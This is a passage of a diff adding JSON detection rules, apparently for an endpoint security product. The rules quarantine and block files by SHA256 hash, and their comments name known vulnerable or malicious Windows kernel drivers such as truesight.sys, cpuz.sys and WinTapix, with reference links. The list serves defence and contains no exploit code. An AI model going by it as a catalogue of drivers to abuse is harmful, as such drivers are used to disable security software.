+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de29eb6d-8d79-5078-8c72-7242928f7c85",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472403Z",
+  "creation_date": "2026-03-23T11:45:30.472407Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472416Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7f64b27cd3be5af1c8454680529ea493dfbb09e634eec7e316445ad73499ae0",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de2b70f2-8a86-55fd-93a1-47daeaec9391",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491814Z",
+  "creation_date": "2026-03-23T11:45:31.491816Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491821Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72a39b2ab86f813db654400e4acafbde33f51c88e88a6ebd2ac3d6acbf159cd7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de2d9731-a682-5e8e-902c-4c8cb1e5f0bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811134Z",
+  "creation_date": "2026-03-23T11:45:31.811136Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811141Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "692c0ec8d824a93911e7bcf9b15ed43c497f5451b15adf9c1cfb62dc593582a2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de378d05-3ebd-5bf8-9961-b42b3adbd567",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620815Z",
+  "creation_date": "2026-03-23T11:45:29.620817Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620823Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db90e554ad249c2bd888282ecf7d8da4d1538dd364129a3327b54f8242dd5653",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de37e3e3-94b4-5551-b00b-e021d9ee5b6e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985666Z",
+  "creation_date": "2026-03-23T11:45:29.985668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985674Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6c316e2385f2694d47e936b0ac4bc9b55e279d530dd5e805f0d963cb47c3c0d",
+  "comment": "Malicious Kernel Driver related to WINTAPIX (aka WinTapix.sys and SRVNET2.SYS) [https://www.fortinet.com/blog/threat-research/wintapix-kernal-driver-middle-east-countries] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de3b12bb-c5c8-54fe-b920-fa1b9ca90621",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150564Z",
+  "creation_date": "2026-03-23T11:45:31.150566Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150571Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54945c8914963302136ec48806e040f9a1872ba09bb05eafe8f45bc48a075456",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de3e1f2b-97e2-560b-96f7-e47ed3377863",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141398Z",
+  "creation_date": "2026-03-23T11:45:31.141400Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141405Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91a25cacb4483da51c27ec91da3afdd72e2574ae319155cc902cce29940ecaca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de42e94b-82be-57d8-8a22-30faf2f01543",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810990Z",
+  "creation_date": "2026-03-23T11:45:31.810993Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810998Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ceab4c5188d05433959cb3524c9963d006e250c16f4c7cd9c9af7bdd56c969e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de606bb0-6f3d-503b-ad46-b130bc5961ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487432Z",
+  "creation_date": "2026-03-23T11:45:31.487434Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487440Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61bacf21287d587d3a362e88a79af872aac0e8795f0d4730031e87b448aa2ac2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de7c5027-fcde-59b1-8a05-3e64659254d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976137Z",
+  "creation_date": "2026-03-23T11:45:29.976139Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976145Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe",
+  "comment": "Vulnerable Lenovo Diagnostics driver (aka LenovoDiagnosticsDriver.sys) [CVE-2022-3699] [https://github.com/alfarom256/CVE-2022-3699] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de84eace-1153-584d-af0f-3e30c35d321c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152586Z",
+  "creation_date": "2026-03-23T11:45:31.152587Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152593Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49ca61e32736c4c3792a2e69b6b075fbc31e08612e178d77e8bb8fc75f098e71",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de88b109-7c24-589e-af7d-2aced2b000ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144596Z",
+  "creation_date": "2026-03-23T11:45:32.144598Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144604Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39171fcaff172d6b38762acef3d3352f9a375e3db7e54a7b51261a53b3c94266",
+  "comment": "Vulnerable Kernel Driver (aka RtsUer.sys) [https://www.loldrivers.io/drivers/71d930a7-3465-4d27-90d4-2a1a08bebb92/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de8c5c97-6c1a-5bc4-8279-99c8a6efdc1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144819Z",
+  "creation_date": "2026-03-23T11:45:32.144822Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144827Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c4020e95f8a69522e400d3b14bf1be4fec2e7db0597626fbd8f8c3c1e85bffa0",
+  "comment": "Vulnerable Kernel Driver (aka ViveRRAudio.sys) [https://www.loldrivers.io/drivers/4cb95b41-43b4-4806-b536-ae5fd8c76b0e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de8e3bd4-c117-5bfd-9b80-8ff7735e75dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143760Z",
+  "creation_date": "2026-03-23T11:45:32.143762Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143768Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9923b3d6e508aa2086c66b36038b37206b0f8d26beaf87022290a2b574c2e047",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de96730d-2f81-5395-8491-7fc2e52cdabd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822580Z",
+  "creation_date": "2026-03-23T11:45:31.822584Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822592Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8aee9dc95134e49bb19bcf0925addda60372b99dc2ffde0dea68f3573672a98",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dea69269-2a2d-5162-baf5-53c07088537f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981820Z",
+  "creation_date": "2026-03-23T11:45:29.981822Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981828Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e3887f950bff034efedd40f1e949579854a24140128246fa6141f2c34de6017",
+  "comment": "Vulnerable Kernel Driver (aka TestBone.sys) [https://www.loldrivers.io/drivers/be4843ef-a2a8-4a0d-91c6-42e165800bb0/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "deade94f-becd-592b-be1a-d471ad088f4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140209Z",
+  "creation_date": "2026-03-23T11:45:31.140211Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82b4876716782349f4b7c6d1b0d7041e3e3b4c38d19a9579f1a7cfb11822840c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "deae422d-9300-5f6b-b962-ee24233201ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159535Z",
+  "creation_date": "2026-03-23T11:45:31.159537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159543Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "817aa0ff85446b1420c5608910004a7f379afc67890d36089d2ed7e1aa5757ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "deb09886-6c52-500e-a382-1f4c8256201d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967676Z",
+  "creation_date": "2026-03-23T11:45:29.967678Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967683Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c283d02dfdae3e67fbfe7a70f1fc94dd164b0d2e6a905098acd697ff826b707d",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "deb87e89-a127-5b12-a3ee-199c88c45bae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456566Z",
+  "creation_date": "2026-03-23T11:45:30.456569Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456578Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5ea5f339b2e40dea57378626790ca7e9a82777aacdada5bc61ebb7d82043fa07",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "debee8ea-934a-589b-b15f-afee6c9f9a6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147553Z",
+  "creation_date": "2026-03-23T11:45:31.147555Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbef55713e8f6db9a0a7bcb71f1599ac663a947911ec1a87693ce6c26bc4cf90",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dec7590e-c033-5748-b5bd-f298b2593674",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146456Z",
+  "creation_date": "2026-03-23T11:45:31.146458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aea434cd31c278819342851c8769847a75376273bb214f2d19082e0a55e1ab14",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "decb5842-e730-577a-bc26-f2dd83b433a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
